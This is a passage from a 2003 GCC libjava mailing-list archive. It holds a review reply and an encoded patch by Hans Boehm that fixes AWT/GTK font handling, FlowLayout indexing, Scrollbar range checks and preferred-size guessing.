> > I think I made this change (but failed to remove the comment, bleah) > on the theory that we shouldn't use deprecated methods in our > implementation. Compatibility is more important. > > Hans> 4) Both TextField.getPreferredSize and TextArea.getPreferredSize > Hans> are apparently easily called before peers exist, and they > Hans> basically give up in that case. I added code to guess instead, > Hans> which gets me further, but is clearly wrong. Suggestions for a > Hans> real fix would be appreciated. > > One thing to try would be to see what the JDK does. > > Making a guess doesn't seem so bad to me. It seems like layout ought > to be recomputed once peers are made. > > Tom > ------_=_NextPart_000_01C2D490.308E3380 Content-Type: application/octet-stream; name="0214awtdiff" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="0214awtdiff" 2003-02-14 Hans Boehm =0A= =0A= * gnu/awt/xlib/XToolkit.java (getFontMetrics): initialize=0A= if necessary.=0A= =0A= * gnu/java/awt/peer/gtk/GtkButtonPeer.java,=0A= gnu/java/awt/peer/gtk/GtkTextAreaPeer.java,=0A= gnu/java/awt/peer/gtk/GtkTextFieldPeer.java,=0A= jni/gtk-peer/gnu_java_awt_peer_gtk_GtkButtonPeer.c,=0A= jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextAreaPeer.c,=0A= jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextFieldPeer.c=0A= (setFont, gtkSetFont): add.=0A= gnu/java/awt/peer/gtk/GtkComponentPeer.java (GtkComponentPeer):=0A= Propagate font to peer. (setFont): add FIXME comment.=0A= =0A= * gnu/java/awt/peer/gtk/GtkTextAreaPeer.java=0A= (gtkTextGetSize): fix height, width computation.=0A= =0A= * gnu/java/awt/peer/gtk/GtkFontPeer.java (GtkFontPeer):=0A= Make X font name a bit less bogus.=0A= =0A= * jni/gtk-peer/gnu_java_awt_peer_gtk_GtkScrollBarPeer.c=0A= (post_adjustment_event): Pass on GTK_SCROLL_NONE.=0A= =0A= * java/awt/Scrollbar.java (setValues): Fix visibleAmount range = check.=0A= (processAdjustmentEvent): Adjust value.=0A= =0A= * java/awt/FlowLayout.java (layoutContainer) Fix 2 indexing and one=0A= logic errors.=0A= =0A= * java/awt/Component.java (setVisible, show, hide): Call show and=0A= hide methods in subclasses.=0A= (getPreferredSize): don't set prefSize before we have peer.=0A= =0A= * java/awt/TextArea.java, java/awt/TextField.java = (getPreferredSize):=0A= Guess if we don't have peer.=0A= =0A= =0A= Index: gnu/awt/xlib/XToolkit.java=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: /cvs/gcc/gcc/libjava/gnu/awt/xlib/XToolkit.java,v=0A= retrieving revision 1.4=0A= diff -u -r1.4 XToolkit.java=0A= --- gnu/awt/xlib/XToolkit.java 15 Jan 2003 23:18:58 -0000 1.4=0A= +++ gnu/awt/xlib/XToolkit.java 15 Feb 2003 00:16:38 -0000=0A= @@ -183,7 +183,7 @@=0A= =0A= public FontMetrics getFontMetrics(Font font)=0A= {=0A= - return defaultConfig.getXFontMetrics(font);=0A= + return = getDefaultXGraphicsConfiguration().getXFontMetrics(font);=0A= }=0A= =0A= public void sync()=0A= Index: gnu/java/awt/peer/gtk/GtkButtonPeer.java=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: = /cvs/gcc/gcc/libjava/gnu/java/awt/peer/gtk/GtkButtonPeer.java,v=0A= retrieving revision 1.1=0A= diff -u -r1.1 GtkButtonPeer.java=0A= --- gnu/java/awt/peer/gtk/GtkButtonPeer.java 31 Jan 2003 17:54:13 -0000 = 1.1=0A= +++ gnu/java/awt/peer/gtk/GtkButtonPeer.java 15 Feb 2003 00:16:38 = -0000=0A= @@ -47,6 +47,8 @@=0A= {=0A= native void create ();=0A= =0A= + native void gtkSetFont(String xlfd, int size);=0A= +=0A= public GtkButtonPeer (Button b)=0A= {=0A= super (b);=0A= @@ -85,5 +87,10 @@=0A= super.getArgs (component, args);=0A= =0A= args.add ("label", ((Button)component).getLabel ());=0A= + }=0A= +=0A= + public void setFont (Font f)=0A= + {=0A= + gtkSetFont(((GtkFontPeer)f.getPeer()).getXLFD(), f.getSize());=0A= }=0A= }=0A= Index: gnu/java/awt/peer/gtk/GtkComponentPeer.java=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: = /cvs/gcc/gcc/libjava/gnu/java/awt/peer/gtk/GtkComponentPeer.java,v=0A= retrieving revision 1.1=0A= diff -u -r1.1 GtkComponentPeer.java=0A= --- gnu/java/awt/peer/gtk/GtkComponentPeer.java 31 Jan 2003 17:54:13 = -0000 1.1=0A= +++ gnu/java/awt/peer/gtk/GtkComponentPeer.java 15 Feb 2003 00:16:38 = -0000=0A= @@ -88,6 +88,8 @@=0A= awtComponent.setBackground (getBackground ());=0A= // if (c.getFont () =3D=3D null)=0A= // c.setFont (cp.getFont ());=0A= + if (awtComponent.getFont() !=3D null)=0A= + setFont(awtComponent.getFont());=0A= =0A= if (! (awtComponent instanceof Window))=0A= {=0A= @@ -273,6 +275,9 @@=0A= =0A= public void setFont (Font f)=0A= {=0A= + // FIXME: This should really affect the widget tree below me.=0A= + // Currently this is only handled if the call is made directly = on=0A= + // a text widget, which implements setFont() itself.=0A= }=0A= =0A= public void setForeground (Color c) =0A= @@ -352,7 +357,8 @@=0A= p =3D component.getPeer ();=0A= } while (p instanceof java.awt.peer.LightweightPeer);=0A= =0A= - args.add ("parent", p);=0A= + if (p !=3D null)=0A= + args.add ("parent", p);=0A= }=0A= =0A= native void set (String name, String value);=0A= Index: gnu/java/awt/peer/gtk/GtkFontPeer.java=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: /cvs/gcc/gcc/libjava/gnu/java/awt/peer/gtk/GtkFontPeer.java,v=0A= retrieving revision 1.1=0A= diff -u -r1.1 GtkFontPeer.java=0A= --- gnu/java/awt/peer/gtk/GtkFontPeer.java 31 Jan 2003 17:54:13 -0000 = 1.1=0A= +++ gnu/java/awt/peer/gtk/GtkFontPeer.java 15 Feb 2003 00:16:38 = -0000=0A= @@ -57,14 +57,34 @@=0A= }=0A= }=0A= =0A= - final private String Xname;=0A= + final private String Xname; // uses %d for font size.=0A= =0A= public GtkFontPeer (String name, int style)=0A= {=0A= if (bundle !=3D null)=0A= Xname =3D bundle.getString (name.toLowerCase () + "." + = style);=0A= else=0A= - Xname =3D "-*-*-medium-r-normal-*-12-*-*-*-c-*-*-*";=0A= + {=0A= + String weight;=0A= + String slant;=0A= + String spacing;=0A= +=0A= + if (style =3D=3D Font.ITALIC || (style =3D=3D = (Font.BOLD+Font.ITALIC)))=0A= + slant =3D "i";=0A= + else=0A= + slant =3D "r";=0A= + if (style =3D=3D Font.BOLD || (style =3D=3D = (Font.BOLD+Font.ITALIC)))=0A= + weight =3D "bold";=0A= + else=0A= + weight =3D "medium";=0A= + if (name.equals("Serif") || name.equals("SansSerif")=0A= + || name.equals("Helvetica") || name.equals("Times"))=0A= + spacing =3D "p";=0A= + else=0A= + spacing =3D "c";=0A= +=0A= + Xname =3D "-*-*-" + weight + "-" + slant + = "-normal-*-%d-*-*-*-" + spacing + "-*-*-*";=0A= + }=0A= }=0A= =0A= public String getXLFD ()=0A= Index: gnu/java/awt/peer/gtk/GtkTextAreaPeer.java=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: = /cvs/gcc/gcc/libjava/gnu/java/awt/peer/gtk/GtkTextAreaPeer.java,v=0A= retrieving revision 1.1=0A= diff -u -r1.1 GtkTextAreaPeer.java=0A= --- gnu/java/awt/peer/gtk/GtkTextAreaPeer.java 31 Jan 2003 17:54:13 = -0000 1.1=0A= +++ gnu/java/awt/peer/gtk/GtkTextAreaPeer.java 15 Feb 2003 00:16:38 = -0000=0A= @@ -45,6 +45,8 @@=0A= {=0A= native void create (int scrollbarVisibility);=0A= =0A= + native void gtkSetFont(String xlfd, int size);=0A= +=0A= void create ()=0A= {=0A= create (((TextArea)awtComponent).getScrollbarVisibility ());=0A= @@ -98,5 +100,10 @@=0A= public void insertText (String str, int pos)=0A= {=0A= insert (str, pos);=0A= + }=0A= +=0A= + public void setFont (Font f)=0A= + {=0A= + gtkSetFont(((GtkFontPeer)f.getPeer()).getXLFD(), f.getSize());=0A= }=0A= }=0A= Index: gnu/java/awt/peer/gtk/GtkTextFieldPeer.java=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: = /cvs/gcc/gcc/libjava/gnu/java/awt/peer/gtk/GtkTextFieldPeer.java,v=0A= retrieving revision 1.1=0A= diff -u -r1.1 GtkTextFieldPeer.java=0A= --- gnu/java/awt/peer/gtk/GtkTextFieldPeer.java 31 Jan 2003 17:54:13 = -0000 1.1=0A= +++ gnu/java/awt/peer/gtk/GtkTextFieldPeer.java 15 Feb 2003 00:16:38 = -0000=0A= @@ -51,6 +51,8 @@=0A= =0A= native void gtkEntryGetSize (int cols, int dims[]);=0A= =0A= + native void gtkSetFont(String xlfd, int size);=0A= +=0A= public GtkTextFieldPeer (TextField tf)=0A= {=0A= super (tf);=0A= @@ -94,5 +96,10 @@=0A= public void setEchoCharacter (char c)=0A= {=0A= setEchoChar (c);=0A= + }=0A= +=0A= + public void setFont (Font f)=0A= + {=0A= + gtkSetFont(((GtkFontPeer)f.getPeer()).getXLFD(), f.getSize());=0A= }=0A= }=0A= Index: java/awt/Component.java=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: /cvs/gcc/gcc/libjava/java/awt/Component.java,v=0A= retrieving revision 1.22=0A= diff -u -r1.22 Component.java=0A= --- java/awt/Component.java 28 Jan 2003 23:49:46 -0000 1.22=0A= +++ java/awt/Component.java 15 Feb 2003 00:16:39 -0000=0A= @@ -844,9 +844,10 @@=0A= // Inspection by subclassing shows that Sun's implementation = calls=0A= // show(boolean) which then calls show() or hide(). It is the = show()=0A= // method that is overriden in subclasses like Window.=0A= - if (peer !=3D null)=0A= - peer.setVisible(b);=0A= - this.visible =3D b;=0A= + if (b)=0A= + show();=0A= + else=0A= + hide();=0A= }=0A= =0A= /**=0A= @@ -856,7 +857,9 @@=0A= */=0A= public void show()=0A= {=0A= - setVisible(true);=0A= + if (peer !=3D null)=0A= + peer.setVisible(true);=0A= + this.visible =3D true;=0A= }=0A= =0A= /**=0A= @@ -877,7 +880,9 @@=0A= */=0A= public void hide()=0A= {=0A= - setVisible(false);=0A= + if (peer !=3D null)=0A= + peer.setVisible(false);=0A= + this.visible =3D false;=0A= }=0A= =0A= /**=0A= @@ -1448,8 +1453,10 @@=0A= public Dimension getPreferredSize()=0A= {=0A= if (prefSize =3D=3D null)=0A= - prefSize =3D (peer !=3D null ? peer.getPreferredSize()=0A= - : new Dimension(width, height));=0A= + if (peer =3D=3D null)=0A= + return new Dimension(width, height);=0A= + else =0A= + prefSize =3D peer.getPreferredSize();=0A= return prefSize;=0A= }=0A= =0A= Index: java/awt/FlowLayout.java=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: /cvs/gcc/gcc/libjava/java/awt/FlowLayout.java,v=0A= retrieving revision 1.8=0A= diff -u -r1.8 FlowLayout.java=0A= --- java/awt/FlowLayout.java 10 Nov 2002 23:11:21 -0000 1.8=0A= +++ java/awt/FlowLayout.java 15 Feb 2003 00:16:39 -0000=0A= @@ -171,13 +171,13 @@=0A= int new_h =3D 0;=0A= int j;=0A= boolean found_one =3D false;=0A= - for (j =3D i; j < num && ! found_one; ++j)=0A= + for (j =3D i; j < num; ++j)=0A= {=0A= // Skip invisible items.=0A= - if (! comps[i].visible)=0A= + if (! comps[j].visible)=0A= continue;=0A= =0A= - Dimension c =3D comps[i].getPreferredSize ();=0A= + Dimension c =3D comps[j].getPreferredSize ();=0A= =0A= int next_w =3D new_w + hgap + c.width;=0A= if (next_w <=3D d.width || ! found_one)=0A= Index: java/awt/Scrollbar.java=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: /cvs/gcc/gcc/libjava/java/awt/Scrollbar.java,v=0A= retrieving revision 1.10=0A= diff -u -r1.10 Scrollbar.java=0A= --- java/awt/Scrollbar.java 14 Jan 2003 21:21:32 -0000 1.10=0A= +++ java/awt/Scrollbar.java 15 Feb 2003 00:16:39 -0000=0A= @@ -391,8 +391,8 @@=0A= if (value > maximum)=0A= value =3D maximum;=0A= =0A= - if (visibleAmount > value)=0A= - visibleAmount =3D value;=0A= + if (visibleAmount > maximum - minimum)=0A= + visibleAmount =3D maximum - minimum;=0A= =0A= this.value =3D value;=0A= this.visibleAmount =3D visibleAmount;=0A= @@ -665,6 +665,7 @@=0A= protected void=0A= processAdjustmentEvent(AdjustmentEvent event)=0A= {=0A= + value =3D event.getValue();=0A= if (adjustment_listeners !=3D null)=0A= adjustment_listeners.adjustmentValueChanged(event);=0A= }=0A= Index: java/awt/TextArea.java=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: /cvs/gcc/gcc/libjava/java/awt/TextArea.java,v=0A= retrieving revision 1.5=0A= diff -u -r1.5 TextArea.java=0A= --- java/awt/TextArea.java 2 Jan 2003 00:14:22 -0000 1.5=0A= +++ java/awt/TextArea.java 15 Feb 2003 00:16:39 -0000=0A= @@ -370,7 +370,12 @@=0A= {=0A= TextAreaPeer tap =3D (TextAreaPeer)getPeer();=0A= if (tap =3D=3D null)=0A= - return(null); // FIXME: What do we do if there is no peer?=0A= + {=0A= + // FIXME: What do we do if there is no peer?=0A= + // I don't know the right answer, but this seems better than=0A= + // giving up:=0A= + return (new Dimension(8*columns, 20*rows));=0A= + }=0A= =0A= return(tap.getPreferredSize(rows, columns));=0A= }=0A= Index: java/awt/TextField.java=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: /cvs/gcc/gcc/libjava/java/awt/TextField.java,v=0A= retrieving revision 1.4=0A= diff -u -r1.4 TextField.java=0A= --- java/awt/TextField.java 2 Jan 2003 00:14:22 -0000 1.4=0A= +++ java/awt/TextField.java 15 Feb 2003 00:16:39 -0000=0A= @@ -344,8 +344,12 @@=0A= {=0A= TextFieldPeer tfp =3D (TextFieldPeer)getPeer();=0A= if (tfp =3D=3D null)=0A= - return(null); // FIXME: What do we do if there is no peer?=0A= -=0A= + {=0A= + // FIXME: What do we do if there is no peer?=0A= + // I don't know the right answer, but this seems better than=0A= + // giving up:=0A= + return (new Dimension(8*columns, 20));=0A= + }=0A= return(tfp.getPreferredSize(columns));=0A= }=0A= =0A= Index: jni/gtk-peer/gnu_java_awt_peer_gtk_GtkButtonPeer.c=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: = /cvs/gcc/gcc/libjava/jni/gtk-peer/gnu_java_awt_peer_gtk_GtkButtonPeer.c,= v=0A= retrieving revision 1.1=0A= diff -u -r1.1 gnu_java_awt_peer_gtk_GtkButtonPeer.c=0A= --- jni/gtk-peer/gnu_java_awt_peer_gtk_GtkButtonPeer.c 31 Jan 2003 = 17:54:14 -0000 1.1=0A= +++ jni/gtk-peer/gnu_java_awt_peer_gtk_GtkButtonPeer.c 15 Feb 2003 = 00:16:39 -0000=0A= @@ -50,3 +50,36 @@=0A= =0A= NSA_SET_PTR (env, obj, widget);=0A= }=0A= +=0A= +JNIEXPORT void JNICALL =0A= +Java_gnu_java_awt_peer_gtk_GtkButtonPeer_gtkSetFont=0A= + (JNIEnv *env, jobject obj, jstring jname, jint size)=0A= +{=0A= + const char *xlfd;=0A= +# define FBUFSZ 200=0A= + char buf[FBUFSZ];=0A= + void *ptr;=0A= + GdkFont * new_font;=0A= + GtkStyle * style;=0A= + GtkWidget * button;=0A= +=0A= + ptr =3D NSA_GET_PTR (env, obj);=0A= + button =3D GTK_WIDGET (ptr);=0A= + =0A= + xlfd =3D (*env)->GetStringUTFChars (env, jname, NULL);=0A= + snprintf(buf, FBUFSZ, xlfd, size);=0A= + (*env)->ReleaseStringUTFChars (env, jname, xlfd);=0A= + gdk_threads_enter();=0A= + new_font =3D gdk_font_load (buf); /* FIXME: deprecated. = Replacement? */=0A= + if (new_font =3D=3D NULL)=0A= + {=0A= + /* Fail quietly for now. */=0A= + gdk_threads_leave();=0A= + return;=0A= + }=0A= + style =3D gtk_style_copy (gtk_widget_get_style (button));=0A= + style -> font =3D new_font;=0A= + gtk_widget_set_style (button, style);=0A= + /* FIXME: Documentation varies as to whether we should unref style. = */=0A= + gdk_threads_leave();=0A= +}=0A= Index: jni/gtk-peer/gnu_java_awt_peer_gtk_GtkScrollBarPeer.c=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: = /cvs/gcc/gcc/libjava/jni/gtk-peer/gnu_java_awt_peer_gtk_GtkScrollBarPeer= .c,v=0A= retrieving revision 1.1=0A= diff -u -r1.1 gnu_java_awt_peer_gtk_GtkScrollBarPeer.c=0A= --- jni/gtk-peer/gnu_java_awt_peer_gtk_GtkScrollBarPeer.c 31 Jan 2003 = 17:54:14 -0000 1.1=0A= +++ jni/gtk-peer/gnu_java_awt_peer_gtk_GtkScrollBarPeer.c 15 Feb 2003 = 00:16:39 -0000=0A= @@ -65,9 +65,10 @@=0A= type =3D AWT_ADJUSTMENT_BLOCK_DECREMENT;=0A= break;=0A= case GTK_SCROLL_JUMP:=0A= + case GTK_SCROLL_NONE: /* Apparently generated when slider is = dragged. */=0A= type =3D AWT_ADJUSTMENT_TRACK;=0A= break;=0A= - default: /* GTK_SCROLL_NONE */=0A= + default: /* Can this happen? If so, is this right? */=0A= return;=0A= }=0A= =0A= Index: jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextAreaPeer.c=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: = /cvs/gcc/gcc/libjava/jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextAreaPeer.= c,v=0A= retrieving revision 1.1=0A= diff -u -r1.1 gnu_java_awt_peer_gtk_GtkTextAreaPeer.c=0A= --- jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextAreaPeer.c 31 Jan 2003 = 17:54:14 -0000 1.1=0A= +++ jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextAreaPeer.c 15 Feb 2003 = 00:16:39 -0000=0A= @@ -135,27 +135,32 @@=0A= text =3D GTK_WIDGET (TEXT_FROM_SW (ptr));=0A= sw =3D GTK_SCROLLED_WINDOW (ptr);=0A= =0A= - gtk_signal_emit_by_name (GTK_OBJECT = (GTK_SCROLLED_WINDOW(sw)->hscrollbar), =0A= + gtk_signal_emit_by_name (GTK_OBJECT = (GTK_SCROLLED_WINDOW(sw)->vscrollbar), =0A= "size_request", &myreq);=0A= //gtk_widget_size_request(GTK_WIDGET = (GTK_SCROLLED_WINDOW(sw)->hscrollbar), =0A= // &myreq);=0A= dims[0]=3Dmyreq.width+GTK_SCROLLED_WINDOW_CLASS =0A= (GTK_OBJECT (sw)->klass)->scrollbar_spacing;=0A= =0A= - gtk_signal_emit_by_name (GTK_OBJECT = (GTK_SCROLLED_WINDOW(sw)->vscrollbar), =0A= + gtk_signal_emit_by_name (GTK_OBJECT = (GTK_SCROLLED_WINDOW(sw)->hscrollbar), =0A= "size_request", &myreq);=0A= //gtk_widget_size_request(GTK_WIDGET = (GTK_SCROLLED_WINDOW(sw)->vscrollbar), =0A= // &myreq);=0A= - dims[1]=3Dmyreq.width+GTK_SCROLLED_WINDOW_CLASS =0A= + dims[1]=3Dmyreq.height+GTK_SCROLLED_WINDOW_CLASS =0A= (GTK_OBJECT (sw)->klass)->scrollbar_spacing;=0A= =0A= /* The '1' in the following assignments is from =0A= #define TEXT_BORDER_ROOM 1=0A= in gtktext.c */=0A= =0A= + /* Gtk text seems to wrap slightly prematurely. Compensate. */=0A= + ++cols;=0A= + ++dims[0];=0A= +=0A= dims[0] +=3D ((cols * gdk_char_width (text->style->font, 'W'))=0A= + (2 * (text->style->klass->xthickness + 1)));=0A= - dims[1] +=3D ((rows * gdk_char_height (text->style->font, 'W'))=0A= + /* Guess at the height. Is there a better way? */=0A= + dims[1] +=3D ((rows * gdk_string_height (text->style->font, = "Wg"))=0A= + (2 * (text->style->klass->ythickness + 1)));=0A= =0A= gdk_threads_leave ();=0A= @@ -207,3 +212,35 @@=0A= (*env)->ReleaseStringUTFChars (env, contents, str);=0A= }=0A= =0A= +JNIEXPORT void JNICALL =0A= +Java_gnu_java_awt_peer_gtk_GtkTextAreaPeer_gtkSetFont=0A= + (JNIEnv *env, jobject obj, jstring jname, jint size)=0A= +{=0A= + const char *xlfd;=0A= +# define FBUFSZ 200=0A= + char buf[FBUFSZ];=0A= + void *ptr;=0A= + GdkFont * new_font;=0A= + GtkStyle * style;=0A= + GtkWidget * text;=0A= +=0A= + ptr =3D NSA_GET_PTR (env, obj);=0A= + text =3D GTK_WIDGET (TEXT_FROM_SW (ptr));=0A= + =0A= + xlfd =3D (*env)->GetStringUTFChars (env, jname, NULL);=0A= + snprintf(buf, FBUFSZ, xlfd, size);=0A= + (*env)->ReleaseStringUTFChars (env, jname, xlfd);=0A= + gdk_threads_enter();=0A= + new_font =3D gdk_font_load (buf); /* FIXME: deprecated. = Replacement? */=0A= + if (new_font =3D=3D NULL)=0A= + {=0A= + /* Fail quietly for now. */=0A= + gdk_threads_leave();=0A= + return;=0A= + }=0A= + style =3D gtk_style_copy (gtk_widget_get_style (text));=0A= + style -> font =3D new_font;=0A= + gtk_widget_set_style (text , style);=0A= + /* FIXME: Documentation varies as to whether we should unref style. = */=0A= + gdk_threads_leave();=0A= +}=0A= Index: jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextFieldPeer.c=0A= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=0A= RCS file: = /cvs/gcc/gcc/libjava/jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextFieldPeer= .c,v=0A= retrieving revision 1.1=0A= diff -u -r1.1 gnu_java_awt_peer_gtk_GtkTextFieldPeer.c=0A= --- jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextFieldPeer.c 31 Jan 2003 = 17:54:14 -0000 1.1=0A= +++ jni/gtk-peer/gnu_java_awt_peer_gtk_GtkTextFieldPeer.c 15 Feb 2003 = 00:16:39 -0000=0A= @@ -148,3 +148,36 @@=0A= =0A= gdk_threads_leave ();=0A= }=0A= +=0A= +JNIEXPORT void JNICALL =0A= +Java_gnu_java_awt_peer_gtk_GtkTextFieldPeer_gtkSetFont=0A= + (JNIEnv *env, jobject obj, jstring jname, jint size)=0A= +{=0A= + const char *xlfd;=0A= +# define FBUFSZ 200=0A= + char buf[FBUFSZ];=0A= + void *ptr;=0A= + GdkFont * new_font;=0A= + GtkStyle * style;=0A= + GtkWidget * text;=0A= +=0A= + ptr =3D NSA_GET_PTR (env, obj);=0A= + text =3D GTK_WIDGET (ptr);=0A= + =0A= + xlfd =3D (*env)->GetStringUTFChars (env, jname, NULL);=0A= + snprintf(buf, FBUFSZ, xlfd, size);=0A= + (*env)->ReleaseStringUTFChars (env, jname, xlfd);=0A= + gdk_threads_enter();=0A= + new_font =3D gdk_font_load(buf); /* FIXME: deprecated. Replacement? = */=0A= + if (new_font =3D=3D NULL)=0A= + {=0A= + /* Fail quietly for now. */=0A= + gdk_threads_leave();=0A= + return;=0A= + }=0A= + style =3D gtk_style_copy (gtk_widget_get_style (text));=0A= + style -> font =3D new_font;=0A= + gtk_widget_set_style (text , style);=0A= + /* FIXME: Documentation varies as to whether we should unref style. = */=0A= + gdk_threads_leave();=0A= +}=0A= ------_=_NextPart_000_01C2D490.308E3380-- From java-patches-return-6150-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Sat Feb 15 09:06:34 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 24946 invoked by alias); 15 Feb 2003 09:06:33 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 24933 invoked from network); 15 Feb 2003 09:06:33 -0000 Received: from unknown (HELO mail.libertysurf.net) (213.36.80.91) by 172.16.49.205 with SMTP; 15 Feb 2003 09:06:33 -0000 Received: from dyn-213-19-10-41.ppp.tiscali.fr (213.19.10.41) by mail.libertysurf.net (6.5.026) id 3DE3AE5700BA8DF8; Sat, 15 Feb 2003 10:06:30 +0100 Date: Sat, 15 Feb 2003 10:10:01 +0100 (CET) From: Ronald Landheer-Cieslak X-X-Sender: ronald@localhost.localdomain To: Tom Tromey cc: gcc-patches@gcc.gnu.org, Subject: Re: [PATCH] to 